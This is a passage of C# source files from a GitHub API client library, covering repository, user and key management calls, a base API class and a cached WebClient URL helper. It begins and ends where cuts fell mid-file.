Get(string Username, string RepositoryName)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Get - Username : '{0}' , RepositoryName : '{1}'\", Username, RepositoryName));\n\n            var url = string.Format(\"{0}/{1}/{2}\",\n                \"repos\",\n                Username,\n                RepositoryName);\n\n            var result = ConsumeJsonUrl<Models.Repository>(url);\n\n            return result;\n        }\n\n        public IEnumerable<Models.Repository> List(string Username)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.List - Username : '{0}'\", Username));\n\n            var url = string.Format(\"{0}{1}\",\n                \"repos/show/\",\n                Username);\n\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryCollection<Models.Repository>>(url);\n\n            return result == null ? null : result.Repositories;\n        }\n\n        public Models.Repository Watch(string Username, string RepositoryName)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Watch - Username : '{0}' , RepositoryName : '{1}'\", Username, RepositoryName));\n\n            Authenticate();\n\n            var url = string.Format(\"repos/watch/{0}/{1}\",\n                Username,\n                RepositoryName);\n\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryContainer<Models.Repository>>(url);\n\n            return result == null ? null : result.Repository;\n        }\n\n        public Models.Repository Unwatch(string Username, string RepositoryName)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Unwatch - Username : '{0}' , RepositoryName : '{1}'\", Username, RepositoryName));\n\n            Authenticate();\n\n            var url = string.Format(\"repos/unwatch/{0}/{1}\",\n                Username,\n                RepositoryName);\n\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryContainer<Models.Repository>>(url);\n\n            return result == null ? null : result.Repository;\n        }\n\n        public Models.Repository Fork(string Username, string RepositoryName)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Fork - Username : '{0}' , RepositoryName : '{1}'\", Username, RepositoryName));\n\n            Authenticate();\n\n            var url = string.Format(\"repos/fork/{0}/{1}\",\n                Username,\n                RepositoryName);\n\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryContainer<Models.Repository>>(url);\n\n            return result == null ? null : result.Repository;\n        }\n\n        public Models.Repository Create(string RepositoryName, string Description, string HomePage, bool Public)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Create - RepositoryName : '{0}' , Description : '{1}' , HomePage : '{2}', Public : '{3}'\",\n                RepositoryName,\n                Description,\n                HomePage,\n                Public));\n\n            Authenticate();\n\n            var url = \"repos/create\";\n\n            var formValues = new NameValueCollection();\n            if (string.IsNullOrEmpty(RepositoryName))\n            {\n                var error = new NullReferenceException(\"RepositoryName was null or empty\");\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\n                    throw error;\n                return null;\n            }\n            formValues.Add(\"name\", RepositoryName);\n\n            if (!string.IsNullOrEmpty(Description))\n                formValues.Add(\"description\", Description);\n            if (!string.IsNullOrEmpty(HomePage))\n                formValues.Add(\"homepage\", HomePage);\n\n            formValues.Add(\"public\", (Public ? 1 : 0).ToString());\n\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.RepositoryContainer<Models.Repository>>(url, formValues);\n\n            return result == null ? null : result.Repository;\n        }\n\n        public bool Delete(string RepositoryName)\n        {\n            LogProvider.LogMessage(\"Repository.Delete - RepositoryName : '{0}'\", RepositoryName);\n\n            Authenticate();\n\n            var url = \"repos/delete/\" + RepositoryName;\n\n            var result = ConsumeJsonUrlAndPostData<GithubSharp.Core.Models.Internal.RepositoryDelete>(url);\n\n            if (result == null)\n                return false;\n\n            var formValues = new NameValueCollection();\n            formValues.Add(\"delete_token\", result.DeleteToken);\n\n            var status = ConsumeJsonUrlAndPostData<GithubSharp.Core.Models.Internal.RepositoryDeleted>(url, formValues);\n\n            return status != null && status.Status == \"deleted\";\n        }\n\n        public Models.Repository SetVisibility(string RepositoryName, bool Visibility)\n        {\n            LogProvider.LogMessage(\"Repository.SetVisibility - RepositoryName : '{0}'\", RepositoryName);\n\n            Authenticate();\n\n            var url = string.Format(\"repos/set/{0}/{1}\",\n                Visibility ? \"public\" : \"private\",\n                RepositoryName);\n\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryContainer<Models.Repository>>(url);\n\n            return result == null ? null : result.Repository;\n        }\n\n        public IEnumerable<Models.PublicKey> PublicKeys(string RepositoryName)\n        {\n            LogProvider.LogMessage(\"Repository.PublicKeys - RepositoryName : '{0}'\", RepositoryName);\n\n            Authenticate();\n\n            var url = string.Format(\"repos/keys/{0}\", RepositoryName);\n\n            var result = ConsumeJsonUrl<Models.Internal.PublicKeyCollection<Models.PublicKey>>(url);\n\n            return result == null ? null : result.PublicKeys.ToArray();\n        }\n\n        public IEnumerable<Models.PublicKey> AddDeployKeys(string RepositoryName, string Title, string Key)\n        {\n            LogProvider.LogMessage(\"Repository.AddDeployKeys - RepositoryName : '{0}'\", RepositoryName);\n\n            Authenticate();\n\n            var url = string.Format(\"repos/keys/{0}/add\", RepositoryName);\n\n            var formValues = new NameValueCollection();\n            formValues.Add(\"title\", Title);\n            formValues.Add(\"key\", Key);\n\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.PublicKeyCollection<Models.PublicKey>>(url, formValues);\n\n            return result == null ? null : result.PublicKeys.ToArray();\n        }\n\n        public IEnumerable<Models.PublicKey> RemovePublicKey(string RepositoryName, int Id)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.RemovePublicKey - RepositoryName : '{0}' , id : '{1}' \", RepositoryName, Id));\n\n            Authenticate();\n\n            var url = string.Format(\"repos/keys/{0}/remove\", RepositoryName);\n\n            var formValues = new NameValueCollection();\n            formValues.Add(\"id\", Id.ToString());\n\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.PublicKeyCollection<Models.PublicKey>>(url, formValues);\n\n            return result == null ? null : result.PublicKeys.ToArray();\n        }\n\n        public string[] GetCollaborators(string Username, string RepositoryName)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.GetCollaborators - RepositoryName : '{0}' , Username : '{1}'\", RepositoryName, Username));\n\n            var url = string.Format(\"repos/show/{0}/{1}/collaborators\", Username, RepositoryName);\n\n            var result = ConsumeJsonUrl<Models.Internal.CollaboratorsCollection>(url);\n\n            return result == null ? null : result.Collaborators.ToArray();\n        }\n\n        public string[] AddCollaborator(string RepositoryName, string Username)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.AddCollaborator - RepositoryName : '{0}' , Username : '{1}' \", RepositoryName, Username));\n\n            Authenticate();\n\n            var url = string.Format(\"repos/collaborators/{0}/add/{1}\", RepositoryName, Username);\n\n            var formValues = new NameValueCollection();\n\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.CollaboratorsCollection>(url, formValues);\n\n            return result == null ? null : result.Collaborators.ToArray();\n        }\n\n        public string[] RemoveCollaborator(string RepositoryName, string Username)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.RemoveCollaborator - RepositoryName : '{0}' , Username : '{1}' \", RepositoryName, Username));\n\n            Authenticate();\n\n            var url = string.Format(\"repos/collaborators/{0}/remove/{1}\", RepositoryName, Username);\n\n            var formValues = new NameValueCollection();\n\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.CollaboratorsCollection>(url, formValues);\n\n            return result == null ? null : result.Collaborators.ToArray();\n        }\n\n        public IEnumerable<Models.Repository> Network(string RepositoryName, string Username)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Network - RepositoryName : '{0}' , Username : '{1}' \", RepositoryName, Username));\n\n            var url = string.Format(\"repos/show/{1}/{0}/network\", RepositoryName, Username);\n\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryFromNetworkContainer>(url);\n\n            return result == null ? null : result.Network.ToArray();\n        }\n\n        public IEnumerable<Models.Language> LanguageBreakDown(string RepositoryName, string Username)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.LanguageBreakDown - RepositoryName : '{0}' , Username : '{1}' \", RepositoryName, Username));\n\n            var url = string.Format(\"repos/show/{1}/{0}/languages\", RepositoryName, Username);\n\n            var result = ConsumeJsonUrl<Models.Internal.LanguagesCollection>(url);\n\n            return result == null ? null : result.Languages.ToList().Select(p => new Models.Language { Name = p.Key, CalculatedBytes = p.Value }).ToArray();\n        }\n\n        public IEnumerable<Models.TagOrBranch> Tags(string RepositoryName, string Username)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Tags - RepositoryName : '{0}' , Username : '{1}' \", RepositoryName, Username));\n\n            var url = string.Format(\"repos/show/{1}/{0}/tags\", RepositoryName, Username);\n\n            var result = ConsumeJsonUrl<Models.Internal.TagCollection>(url);\n\n            return result == null ? null : result.Tags.Dict.ToList().Select(p => new Models.TagOrBranch { Name = p.Key, Sha = p.Value }).ToArray();\n        }\n\n        public Models.TagOrBranch[] Branches(string RepositoryName, string Username)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Branches - RepositoryName : '{0}' , Username : '{1}' \", RepositoryName, Username));\n\n            var url = string.Format(\"repos/show/{1}/{0}/branches\", RepositoryName, Username);\n\n            var result = ConsumeJsonUrl<Models.Internal.BranchesCollection>(url);\n\n            return result == null ? null : result.Branches.Dict.Select(p => new Models.TagOrBranch { Name = p.Key, Sha = p.Value }).ToArray();\n        }\n    }\n}\n", "Core/API/User.cs": "using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing GithubSharp.Core.Services;\r\nusing System.Collections.Specialized;\r\n\r\nnamespace GithubSharp.Core.API\r\n{\r\n    public class User : Base.BaseApi\r\n    {\r\n        public User(ICacheProvider cacheProvider, ILogProvider logProvider) : base(cacheProvider, logProvider) { }\r\n        /// <summary>\r\n        /// Search for users\r\n        /// </summary>\r\n        /// <param name=\"search\">search string</param>\r\n        /// <returns>Stripped down details of the users</returns>\r\n        public IEnumerable<Models.UserInCollection> Search(string search)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.Search - '{0}'\", search));\r\n            var url = string.Format(\"{0}{1}\",\r\n                \"user/search/\",\r\n                search);\r\n            var result = ConsumeJsonUrl<Models.Internal.UsersCollection<Models.UserInCollection>>(url);\r\n            return result == null ? null : result.Users;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Gets extended details for a user\r\n        /// </summary>\r\n        /// <param name=\"Username\"></param>\r\n        /// <returns></returns>\r\n        public Models.User Get(string Username)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.Get - '{0}'\", Username));\r\n            var url = string.Format(\"{0}{1}\",\r\n               \"users/\",\r\n               Username);\r\n            var result = ConsumeJsonUrl<Models.User>(url);\r\n\r\n            return result;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Gets extended details (including private information) for a user\r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        ///<returns></returns>\r\n        public Models.UserAuthenticated Get()\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.Get (Authenticated) - '{0}'\", CurrentUsername));\r\n            Authenticate();\r\n            var url = string.Format(\"{0}{1}\",\r\n                \"user/show/\",\r\n                CurrentUsername);\r\n            var result = ConsumeJsonUrl<Models.Internal.UserContainer<Models.UserAuthenticated>>(url);\r\n\r\n            return result == null ? null : result.User;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Returns a list of followers (string array of user names)\r\n        /// </summary>\r\n        /// <param name=\"Username\"></param>\r\n        /// <returns></returns>\r\n        public string[] Followers(string Username)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.Followers - '{0}'\", Username));\r\n            var url = string.Format(\"{0}{1}/followers\",\r\n              \"user/show/\",\r\n              Username);\r\n            var result = ConsumeJsonUrl<Models.Internal.UsersCollection<string>>(url);\r\n\r\n            return result == null ? null : result.Users.ToArray();\r\n        }\r\n\r\n\r\n        /// <summary>\r\n        /// Returns a list of watched repositories\r\n        /// </summary>\r\n        /// <param name=\"Username\"></param>\r\n        /// <returns></returns>\r\n        public IEnumerable<Models.Repository> WatchedRepositories(string Username)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.WatchedRepositories - '{0}'\", Username));\r\n            var url = string.Format(\"{0}{1}\",\r\n              \"repos/watched/\",\r\n              Username);\r\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryCollection<Models.Repository>>(url);\r\n\r\n            return result == null ? null : result.Repositories;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Updates a users details\r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        /// <param name=\"Name\"></param>\r\n        /// <param name=\"Email\"></param>\r\n        /// <param name=\"Blog\"></param>\r\n        /// <param name=\"Company\"></param>\r\n        /// <param name=\"Location\"></param>\r\n        /// <returns></returns>\r\n        public Models.UserAuthenticated Update(\r\n            string Name,\r\n            string Email,\r\n            string Blog,\r\n            string Company,\r\n            string Location)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.Update (Authenticated)\\nName: '{0}' Email : '{1}' Blog : '{2}' Company : '{3}' Location : '{4}'\",\r\n                Name,\r\n                Email,\r\n                Blog,\r\n                Company,\r\n                Location));\r\n\r\n            Authenticate();\r\n\r\n            var url = string.Format(\"user/show/{0}\", CurrentUsername);\r\n\r\n            var formValues = new NameValueCollection();\r\n\r\n            if (Name != null)//an empty string is ok\r\n                formValues.Add(\"name\", Name);\r\n            if (Email != null)//an empty string is ok\r\n                formValues.Add(\"email\", Email);\r\n            if (Blog != null)//an empty string is ok\r\n                formValues.Add(\"blog\", Blog);\r\n            if (Company != null)//an empty string is ok\r\n                formValues.Add(\"company\", Company);\r\n            if (Location != null)//an empty string is ok\r\n                formValues.Add(\"location\", Location);\r\n\r\n            if (formValues.Count == 0)\r\n            {\r\n                var error = new Exception(\"User.Update : At least one parameter needs to either be and empty string or with content, all parameters were null\");\r\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\r\n                    throw error;\r\n\r\n                return null;\r\n            }\r\n\r\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.UserContainer<Models.UserAuthenticated>>(url, formValues);\r\n\r\n            return result == null ? null : result.User;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Follow user\r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        /// <param name=\"Username\"></param>\r\n        /// <returns></returns>\r\n        public string[] Follow(string Username)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.Follow - '{0}'\", Username));\r\n\r\n            Authenticate();\r\n\r\n            var url = string.Format(\"user/follow/{0}\", Username);\r\n\r\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.UsersCollection<string>>(url);\r\n\r\n            return result == null ? null : result.Users.ToArray();\r\n        }\r\n\r\n\r\n        /// <summary>\r\n        /// UnFollow user\r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// \r\n        /// <para>Note: Does not work <see cref=\"http://github.com/develop/develop.github.com/issues#issue/39\"/></para>\r\n        /// </summary>\r\n        /// <param name=\"Username\"></param>\r\n        /// <returns></returns>\r\n        public string[] UnFollow(string Username)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.UnFollow - '{0}'\", Username));\r\n            Authenticate();\r\n\r\n            var url = string.Format(\"{0}{1}\",\r\n              \"user/unfollow/\",\r\n              Username);\r\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.UsersCollection<string>>(url);\r\n\r\n            return result == null ? null : result.Users.ToArray();\r\n        }\r\n\r\n        /// <summary>\r\n        /// List all public keys\r\n        /// \r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        public IEnumerable<Models.PublicKey> PublicKeys()\r\n        {\r\n            LogProvider.LogMessage(\"User.PublicKeys\");\r\n\r\n            Authenticate();\r\n\r\n            var url = \"user/keys\";\r\n\r\n            var result = ConsumeJsonUrl<Models.Internal.PublicKeyCollection<Models.PublicKey>>(url);\r\n\r\n            return result == null ? null : result.PublicKeys.ToArray();\r\n        }\r\n\r\n        /// <summary>\r\n        /// Add a public key\r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        /// <param name=\"PublicKey\"></param>\r\n        /// <returns></returns>\r\n        public IEnumerable<Models.PublicKey> AddPublicKey(Models.PublicKey PublicKey)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.AddPublicKey - Title : '{0}' Key : {1}\", PublicKey.Title, PublicKey.Id));\r\n\r\n            Authenticate();\r\n\r\n            var url = \"user/key/add\";\r\n\r\n            var formValues = new NameValueCollection();\r\n            formValues.Add(\"title\", PublicKey.Title);\r\n            formValues.Add(\"key\", PublicKey.Key);\r\n\r\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.PublicKeyCollection<Models.PublicKey>>(url, formValues);\r\n\r\n            return result == null ? null : result.PublicKeys.ToArray();\r\n        }\r\n\r\n        /// <summary>\r\n        /// Removes a public key\r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        /// <param name=\"Id\"></param>\r\n        /// <returns></returns>\r\n        public IEnumerable<Models.PublicKey> RemovePublicKey(int Id)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.RemovePublicKey - id : '{0}' \", Id));\r\n\r\n            Authenticate();\r\n\r\n            var url = \"user/key/remove\";\r\n\r\n            var formValues = new NameValueCollection();\r\n            formValues.Add(\"id\", Id.ToString());\r\n\r\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.PublicKeyCollection<Models.PublicKey>>(url, formValues);\r\n\r\n            return result == null ? null : result.PublicKeys.ToArray();\r\n        }\r\n\r\n\r\n        /// <summary>\r\n        /// Gets all the emails active for the user\r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        public string[] Emails()\r\n        {\r\n            LogProvider.LogMessage(\"User.Emails\");\r\n\r\n            Authenticate();\r\n\r\n            var url = \"user/emails\";\r\n\r\n            var result = ConsumeJsonUrl<Models.Internal.EmailCollection>(url);\r\n\r\n            return result == null ? null : result.Emails.ToArray();\r\n        }\r\n\r\n        /// <summary>\r\n        /// Adds an email to the user\r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        /// <param name=\"Email\"></param>\r\n        /// <returns></returns>\r\n        public string[] AddEmail(string Email)\r\n        {\r\n            LogProvider.LogMessage(\"User.AddEmail {0}\", Email);\r\n\r\n            Authenticate();\r\n\r\n            var url = \"user/email/add\";\r\n\r\n            var formValues = new NameValueCollection();\r\n            formValues.Add(\"email\", Email);\r\n\r\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.EmailCollection>(url, formValues);\r\n\r\n            return result == null ? null : result.Emails.ToArray();\r\n        }\r\n\r\n        /// <summary>\r\n        /// Removes an email to the user\r\n        /// <para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        /// <param name=\"Email\"></param>\r\n        /// <returns></returns>\r\n        public string[] RemoveEmail(string Email)\r\n        {\r\n            LogProvider.LogMessage(\"User.RemoveEmail {0}\", Email);\r\n\r\n            Authenticate();\r\n\r\n            var url = \"user/email/remove\";\r\n\r\n            var formValues = new NameValueCollection();\r\n            formValues.Add(\"email\", Email);\r\n\r\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.EmailCollection>(url, formValues);\r\n\r\n            return result == null ? null : result.Emails.ToArray();\r\n        }\r\n    }\r\n}\r\n", "Core/Base/BaseAPI.cs": "using System;\r\nusing GithubSharp.Core.Services;\r\nusing System.Collections.Specialized;\r\nusing Newtonsoft.Json;\r\n\r\nnamespace GithubSharp.Core.Base\r\n{\r\n    public class BaseApi : IBaseApi\r\n    {\r\n        public BaseApi(ICacheProvider cache, ILogProvider log)\r\n        {\r\n            CacheProvider = cache;\r\n            LogProvider = log;\r\n        }\r\n\r\n        private Models.GithubUser CurrentUser { get; set; }\r\n        private Url UrlConsumer\r\n        {\r\n            get { return _url ?? (_url = new Url(CacheProvider, LogProvider)); }\r\n        }\r\n        private Url _url;\r\n\r\n        public void Authenticate(Models.GithubUser User)\r\n        {\r\n            if (User == null)\r\n                LogProvider.LogMessage(\"Authenticate => Null user\");\r\n            else\r\n                LogProvider.LogMessage(\"Authenticate => Name : {0}, APIToken : {1}\", User.Name, User.APIToken);\r\n\r\n            CurrentUser = User;\r\n        }\r\n\r\n        public ICacheProvider CacheProvider { get; set; }\r\n        public ILogProvider LogProvider { get; set; }\r\n\r\n        internal byte[] ConsumeUrlToBinary(string Url)\r\n        {\r\n            var url = GetAuthenticatedUrl(Url);\r\n\r\n            return UrlConsumer.GetBinaryFromURL(url);\r\n        }\r\n\r\n        internal byte[] ConsumeUrlToBinaryAndPostData(string Url)\r\n        {\r\n            return ConsumeUrlToBinaryAndPostData(Url, new NameValueCollection());\r\n        }\r\n\r\n        internal byte[] ConsumeUrlToBinaryAndPostData(string Url, NameValueCollection FormValues)\r\n        {\r\n            var url = GetAuthenticatedUrl(Url);\r\n\r\n            return UrlConsumer.UploadValuesAndGetBinary(url, FormValues);\r\n        }\r\n\r\n        private string GetAuthenticatedUrl(string Url)\r\n        {\r\n            var url = string.Format(\"{0}{1}{2}\",\r\n                Url.StartsWith(\"http\") ? Url : UrlConsumer.GithubBaseURL,\r\n                Url.StartsWith(\"http\") ? \"\" : Url,\r\n                UrlConsumer.GithubAuthenticationQueryString(CurrentUser));\r\n            return url;\r\n        }\r\n\r\n        internal string ConsumeUrlToString(string Url)\r\n        {\r\n            var url = GetAuthenticatedUrl(Url);\r\n\r\n            return UrlConsumer.GetStringFromURL(url);\r\n        }\r\n\r\n        internal string ConsumeUrlToStringAndPostData(string Url)\r\n        {\r\n            return ConsumeUrlToStringAndPostData(Url, new NameValueCollection());\r\n        }\r\n\r\n        public string ConsumeUrlToStringAndPostData(string Url, NameValueCollection FormValues)\r\n        {\r\n            var url = GetAuthenticatedUrl(Url);\r\n\r\n            return UrlConsumer.UploadValuesAndGetString(url, FormValues);\r\n        }\r\n\r\n        public T ConsumeJsonUrl<T>(string Url) where T : class\r\n        {\r\n            var result = ConsumeUrlToString(Url);\r\n            if (result == null)\r\n                return null;\r\n            try\r\n            {\r\n                var jsonResult = JsonConvert.DeserializeObject<T>(result);\r\n                return jsonResult;\r\n            }\r\n            catch (Exception error)\r\n            {\r\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\r\n                    throw;\r\n                return null;\r\n            }\r\n        }\r\n\r\n        public T ConsumeJsonUrlAndPostData<T>(string Url) where T : class\r\n        {\r\n            return ConsumeJsonUrlAndPostData<T>(Url, new NameValueCollection());\r\n        }\r\n\r\n        public T ConsumeJsonUrlAndPostData<T>(string Url, NameValueCollection FormValues) where T : class\r\n        {\r\n            var result = ConsumeUrlToStringAndPostData(Url, FormValues);\r\n            if (result == null)\r\n                return null;\r\n            try\r\n            {\r\n                return JsonConvert.DeserializeObject<T>(result);\r\n            }\r\n            catch (Exception error)\r\n            {\r\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\r\n                    throw;\r\n                return null;\r\n            }\r\n        }\r\n\r\n        public void Authenticate()\r\n        {\r\n            if (!HasUser)\r\n            {\r\n                var error = new Exception(\"You need to provide a valid GithubUser with an api token (see http://github.com/blog/170-token-authentication)\");\r\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\r\n                    throw error;\r\n            }\r\n        }\r\n\r\n        public string CurrentUsername { get { return HasUser ? CurrentUser.Name : string.Empty; } }\r\n\r\n        public bool HasUser { get { return CurrentUser != null && !string.IsNullOrEmpty(CurrentUser.Name) && !string.IsNullOrEmpty(CurrentUser.APIToken); } }\r\n    }\r\n}\r\n", "Core/Base/JsonConverter.cs": "\ufeffusing System;\r\n\r\nnamespace GithubSharp.Core.Base\r\n{\r\n    [Obsolete]\r\n    internal static class JsonConverterOld\r\n    {\r\n        ///// <summary>\r\n        ///// Serializes the object to a Json string \r\n        ///// </summary>\r\n        //internal static string ToJson<T>(this T Obj)\r\n        //{\r\n        //    return ServiceStack.Text.JsonSerializer.SerializeToString<T>(Obj);\r\n        //}\r\n\r\n        //internal static byte[] ToJsonBytes<T>(this T TObj)\r\n        //{\r\n        //    var jsonString = ToJson<T>(TObj);\r\n        //    return System.Text.Encoding.UTF8.GetBytes(jsonString);\r\n        //}\r\n\r\n        ///// <summary>\r\n        ///// Deserializes\r\n        ///// </summary>\r\n        ///// <returns></returns>\r\n        //internal static T FromJson<T>(string Json)\r\n        //{\r\n        //    if (string.IsNullOrEmpty(Json))\r\n        //        throw new ArgumentNullException(\"Json\");\r\n        //    return ServiceStack.Text.JsonSerializer.DeserializeFromString<T>(Json);\r\n        //}\r\n    }\r\n}", "Core/Base/Url.cs": "using System;\r\nusing System.Linq;\r\nusing System.Text;\r\nusing System.Collections.Specialized;\r\nusing GithubSharp.Core.Services;\r\n\r\nnamespace GithubSharp.Core.Base\r\n{\r\n    internal class Url\r\n    {\r\n        internal Url(ICacheProvider Cache, ILogProvider Log)\r\n        {\r\n            CacheProvider = Cache;\r\n            LogProvider = Log;\r\n        }\r\n\r\n        internal ICacheProvider CacheProvider;\r\n        internal ILogProvider LogProvider;\r\n\r\n        internal string GithubBaseURL { get { return \"https://api.github.com/\"; } }\r\n\r\n        internal string GithubAuthenticationQueryString(Models.GithubUser User)\r\n        {\r\n            return User != null ? string.Format(\"?login={0}&token={1}\", User.Name, User.APIToken) : string.Empty;\r\n        }\r\n\r\n        internal byte[] GetBinaryFromURL(string URL)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"Url.GetBinaryFromURL - '{0}'\", URL));\r\n            string cacheKey = string.Format(\"GetBinaryFromURL_{0}\", URL);\r\n\r\n            var cached = CacheProvider.Get<byte[]>(cacheKey);\r\n            if (cached != null)\r\n            {\r\n                LogProvider.LogMessage(\"Url.GetBinaryFromURL  :  Returning cached result\");\r\n                return cached;\r\n            }\r\n            LogProvider.LogMessage(\"Url.GetBinaryFromURL  :  Cached result unavailable, fetching url content\");\r\n\r\n            var webClient = new System.Net.WebClient();\r\n            byte[] result;\r\n            try\r\n            {\r\n                result = webClient.DownloadData(URL);\r\n            }\r\n            catch (Exception error)\r\n            {\r\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\r\n                    throw;\r\n                return null;\r\n            }\r\n\r\n            CacheProvider.Set(result, cacheKey);\r\n            return result;\r\n        }\r\n\r\n        internal byte[] UploadValuesAndGetBinary(string URL, NameValueCollection FormValues)\r\n        {\r\n            return UploadValuesAndGetBinary(URL, FormValues, \"POST\");\r\n        }\r\n        internal byte[] UploadValuesAndGetBinary(string URL, NameValueCollection FormValues, string Method)\r\n        {\r\n            LogProvider.LogMessage(\r\n              string.Format(\"Url.UploadValuesAndGetBinary ({0}) {1}\",\r\n              URL,\r\n              string.Join(\":\", FormValues.AllKeys.ToList().Select(Key => string.Format(\"\\nKey : {0} , Value : {1}\", Key, FormValues[Key])).ToArray())));\r\n\r\n            string cacheKey = string.Format(\"UploadValuesAndGetBinary{0}_{1}_{2}_{3}\",\r\n                URL,\r\n                Method,\r\n                string.Join(\"-\", FormValues.AllKeys),\r\n                string.Join(\":\", FormValues.AllKeys.ToList().Select(Key => FormValues[Key]).ToArray())\r\n                );\r\n\r\n            var cached = CacheProvider.Get<byte[]>(cacheKey);\r\n            if (cached != null)\r\n            {\r\n                LogProvider.LogMessage(\"Url.UploadValuesAndGetBinary  :  Returning cached result\");\r\n                return cached;\r\n            }\r\n\r\n            LogProvider.LogMessage(\"Url.UploadValuesAndGetBinary  :  Cached result unavailable, fetching url content\");\r\n\r\n\r\n            var webClient = new System.Net.WebClient();\r\n            byte[] result;\r\n            try\r\n            {\r\n                result = webClient.UploadValues(URL, Method, FormValues);\r\n            }\r\n            catch (Exception error)\r\n            {\r\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\r\n                    throw;\r\n                return null;\r\n            }\r\n\r\n            CacheProvider.Set(result, cacheKey);\r\n            return result;\r\n        }\r\n\r\n        internal string UploadValuesAndGetString(string URL, NameValueCollection FormValues)\r\n        {\r\n            return UploadValuesAndGetString(URL, FormValues, \"POST\");\r\n        }\r\n\r\n        internal string UploadValuesAndGetString(string URL, NameValueCollection FormValues, string Method)\r\n        {\r\n            LogProvider.LogMessage(\"Url.UploadValuesAndGetString - Calling UploadValuesAndGetBinary...\");\r\n\r\n            var result = UploadValuesAndGetBinary(URL, FormValues, Method);\r\n\r\n            return result == null ? null : Encoding.UTF8.GetString(result);\r\n        }\r\n\r\n        internal string GetStringFromURL(string URL)\r\n        {\r\n            string cacheKey = string.Format(\"GetStringFromURL_{0}\", URL);\r\n            var cached = CacheProvider.Get<string>(cacheKey);\r\n            if (cached != null)\r\n            {\r\n                LogProvider.LogMessage(\"Url.GetStringFromURL  :  Returning cached result\");\r\n                return cached;\r\n            }\r\n\r\n            LogProvider.LogMessage(\"Url.GetStringFromURL  :  Cached result unavailable, fetching url content\");\r\n\r\n            string result;\r\n            try\r\n            {\r\n                result = new System.Net.WebClient().DownloadString(URL);\r\n            }\r\n            catch (Exception error)\r\n            {\r\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\r\n                    throw;\r\n                return null;\r\n            }\r\n\r\n            CacheProvider.Set(result, cacheKey);\r\n            return result;\r\n        }\r\n\r\n    }\r\n}\r\n", "Core/GithubException.cs": "using System;\r\nusing System.Collections.Generic;\r\nusing Newtonsoft.Json;\r\n\r\nnamespace GithubSharp.Core\r\n{\r\n    public class GithubException : Exception\r\n    {\r\n        public GithubException(System.Net.HttpWebResponse response, string uri)\r\n            : base(string.Format(\"Github error when retrieving {0}\", uri))\r\n        {\r\n            var responseString = new System.IO.StreamReader(response.GetResponseStream()).ReadToEnd();\r\n            GithubErrorResult = JsonConvert.DeserializeObject<GithubErrorModel>(responseString);\r\n            StatusCode = (int)response.StatusCode;\r\n            StatusText = response.StatusDescription;\r\n        }\r\n\r\n        public GithubErrorModel GithubErrorResult { get; 